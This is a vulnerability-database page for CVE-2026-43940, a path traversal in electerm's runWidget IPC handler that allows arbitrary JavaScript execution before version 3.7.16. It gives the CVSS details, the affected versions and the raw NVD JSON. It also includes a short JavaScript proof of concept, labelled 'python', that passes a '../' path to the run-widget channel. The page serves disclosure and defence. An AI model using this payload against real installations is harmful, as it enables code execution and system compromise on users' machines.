Security Vulnerability Report
中文
CVE-2026-43940 CVSS 8.4 HIGH

CVE-2026-43940

Published: 2026-05-08 04:16:23
Last Modified: 2026-05-08 19:17:53

Description

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.7.16, the runWidget function in src/app/widgets/load-widget.js constructs a file path by directly concatenating user‑supplied widget identifiers without any sanitisation. Because runWidget is exposed to the renderer process via an asynchronous IPC handler with no input validation, an attacker who achieves JavaScript execution inside the renderer (for example, through a malicious plugin or a cross‑site scripting flaw in the built‑in webview) can abuse a path traversal (../) to load and execute an arbitrary JavaScript file anywhere on the victim’s filesystem. This gives the attacker local code execution with the full privileges of the electerm process, leading to complete system compromise. This issue has been patched in version 3.7.16.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:* - VULNERABLE
electerm < 3.7.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-43940 // This demonstrates how an attacker could exploit the path traversal // in the 'runWidget' IPC handler to load a malicious JavaScript file. const { ipcRenderer } = require('electron'); function exploitPathTraversal() { // The malicious file path the attacker wants to execute. // Using '../' to traverse out of the intended widgets directory. // Example: loading a script from the user's temp directory. const maliciousPayload = '../../../../../../tmp/evil_exploit.js'; console.log(`Attempting to load arbitrary file: ${maliciousPayload}`); // Invoke the vulnerable IPC handler exposed by the main process. // The 'run-widget' channel corresponds to the 'runWidget' function. ipcRenderer.invoke('run-widget', maliciousPayload) .then((result) => { console.log('Exploit successful! Arbitrary code executed.'); console.log('Result:', result); }) .catch((error) => { console.error('Exploit failed:', error); }); } // Execute the exploit function exploitPathTraversal();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43940", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:23.023", "lastModified": "2026-05-08T19:17:53.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.7.16, the runWidget function in src/app/widgets/load-widget.js constructs a file path by directly concatenating user‑supplied widget identifiers without any sanitisation. Because runWidget is exposed to the renderer process via an asynchronous IPC handler with no input validation, an attacker who achieves JavaScript execution inside the renderer (for example, through a malicious plugin or a cross‑site scripting flaw in the built‑in webview) can abuse a path traversal (../) to load and execute an arbitrary JavaScript file anywhere on the victim’s filesystem. This gives the attacker local code execution with the full privileges of the electerm process, leading to complete system compromise. This issue has been patched in version 3.7.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.16", "matchCriteriaId": "6E0CF034-D768-4369-9CD6-B59CD34B03CD"}]}]}], "references": [{"url": "https://github.com/electerm/electerm/releases/tag/v3.7.16", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/electerm/electerm/security/advisories/GHSA-f77v-9vpc-6pjm", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}